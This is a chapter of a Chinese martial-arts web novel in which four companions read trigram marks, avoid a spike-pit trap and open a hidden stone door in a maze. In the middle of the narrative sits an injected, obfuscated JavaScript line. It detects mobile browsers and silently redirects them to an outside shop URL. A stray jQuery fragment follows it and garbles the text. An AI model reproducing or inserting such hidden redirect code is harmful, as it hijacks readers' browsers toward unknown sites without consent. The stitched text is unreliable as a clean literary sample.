祈新起没有急着动。
他站在四条通道的正前方,视线从每一个洞口扫过。石阵内部是个迷宫。但迷宫也有规律可循。墨老在青冥谷教过他奇门遁甲的基础,虽不精深,但够用。石阵的格局、通道的朝向、油灯的位置——这些都不是随意布置的。
他往前走了一步,仔细观察通道入口处的石壁。
“石头上有记号。”一个声音从身后响起。
是林小天。
他站在最右侧的通道口,抬手指着石壁上沿。祈新起走过去,顺着他手指的方向抬头看去。石壁上刻着几道细小的符号。被油灯熏得发黑,若不凑近了仔细看,极容易忽略。
“这是八卦方位。“祈新起直起身,”乾、坤、震、巽、坎、离、艮、兑,八个方向,这里只有四条通道。对应四个卦象。最左边三道断线是坤卦,左二是震卦,右二是离卦,最右边三道长线是乾卦。”
“哥,你什么时候学的八卦?”落明天惊讶地睁大眼睛。
“墨——师父教过。“祈新起差点说漏了嘴,顿了一下,改口道,”走哪个?”
“坤卦为地,主静,应该是最安全的。“林小天分析道。”但安全也意味着可能没有金旗。所有人都想找安全的路,坤卦那条通道里人最多,金旗不会放在人最多的地方。”
“乾卦为天,主动,难度最大。“祈新起接话,”但金旗很可能在那边。”
“那就走乾卦!“陈天霸一拍大腿,铁枪往地上顿了一下。枪尾撞在青石地面上溅起几点火星,”闯就闯最难的!咱们四个人凑在一起,不就是来闯关的吗?”
祈新起点了点头,率先走向最右边的通道。落明天紧跟在他身后,林小天走在第三个,陈天霸提着铁枪断后。
通道里很暗。头顶偶尔有几道光线从石缝中漏下来,细如发丝,勉强能照出前方几步的距离。
走了约莫一盏茶的工夫,前方出现一个岔路口。
左右两条路,一模一样。
“左还是右?”落明天探头往两边看了看,什么都看不出来。
祈新起蹲下身。他将火折子凑近地面,微弱的火光照亮了石板上的灰尘。左边的通道地面上积着一层薄灰,均匀完整。没有任何痕迹;右边的通道地面相对干净,灰尘被踩得散乱,有明显的脚印,至少有两三拨人走过。
“右边有人走过,地上的灰尘被踩散了。“祈新起分析道,”有人走过的路意味着机关可能已经被触发过了,相对安全。”
“但也意味着金旗可能已经被拿走了。“林小天接口道,”左边的路没人走,机关完好,但金旗可能还在。”
祈新起抬头看了他一眼。
“走左边。“祈新起站起身,”有人走过的路不一定安全,也可能是故意留下的痕迹。真正的陷阱往往在看起来最安全的地方。”
四人拐进左边的通道。
通道比之前更窄了,仅容一人侧身通过。陈天霸的铁枪在这里有些施展不开,他只能将枪斜着提在手里。枪尖朝前,枪尾从肩膀上伸出去。石壁上的水珠顺着砖缝往下淌,滴在脖子里,冰凉刺骨。
走了不到十步,祈新起脚下的石板一下往往下一沉。
那沉陷的幅度极小,小到几乎察觉不到。但他的脚底已经察觉到了——那块石板往下沉了半寸,随即停住了,像触到了某个机括的开关。
“小心!”
他一把拽住落明天的后领,用力往后一拉。落明天被他拽得倒退两步,脚后跟踩在陈天霸的靴尖上,三个人撞成一团。
石板翻了个面。
就在祈新起刚才踩中的位置,一整块石板从中轴翻转过来,露出下面的深坑。坑深约有一丈。坑底插满了竹签,尖端朝上,在火折子的微光下反射出惨白的光。竹签上还残留着暗褐色的痕迹,分不清是锈还是旧血。
落明天站稳之后往坑里看了一眼,喉咙里发出一声响亮的吞咽声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974469|214711||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“这要是掉下去,屁股得扎成筛子。”陈天霸也凑过来看了一眼,倒吸一口凉气。
“绕过去。”祈新起说。
四人贴着墙边,侧身绕过陷阱。后背紧贴着冰凉潮湿的石壁,脚尖只踩着坑边一掌宽的窄缘。一步一步地挪过去。陈天霸最后一个通过时,窄缘被他踩得往下塌了半寸,碎石子簌簌落进坑里,打在竹签上叮叮作响。
继续往前走,通道越来越窄,光线越来越暗。祈新起手里的火折子已经烧了一小半。火光从明黄色变成了暗红色,随时可能熄灭。他将火折子换到左手,右手按在剑柄上。
“哥,你看前面。”落明天停下脚步。
通道尽头是一面石墙。
青石垒成的墙,严丝合缝,从地面一直封到顶。死路。
“死胡同?“陈天霸从后面挤上来,用枪尾敲了敲石墙,发出沉闷的实心声响,”不对啊,咱们走了这么远,不可能是个死胡同。”
祈新起举着火折子照了照石墙。墙上刻着一行字,字体古朴,入石三分:“欲得金旗,需破此墙。破墙之法,不在蛮力。”
“不在蛮力。“落明天念了一遍,”那在什么?”
林小天走上前。他没有去读那行字,而是直接伸手在石墙上摸了起来。他的手指修长白皙,指尖沿着砖缝一根一根地摸过去。从左上角摸到右下角,又从右下角摸到中间。摸到第七块砖的时候,他的手指停住了。
“这块石头是松的。”
祈新起走过去,伸出手指在那块石砖的边缘按了按。砖面确实凹陷进去。幅度极小,大概只有一粒米那么深。如果不是林小天的手指足够敏感,根本摸不出来。
他用力一按。
“咔嚓。”
一声沉闷的机括声从石墙内部响起,石墙从中间裂开一条细缝。细缝迅速扩大,两扇石门分别向左右缩进石壁之中,露出了一条新的通道。
四人穿过石墙,眼前的景象骤然开阔。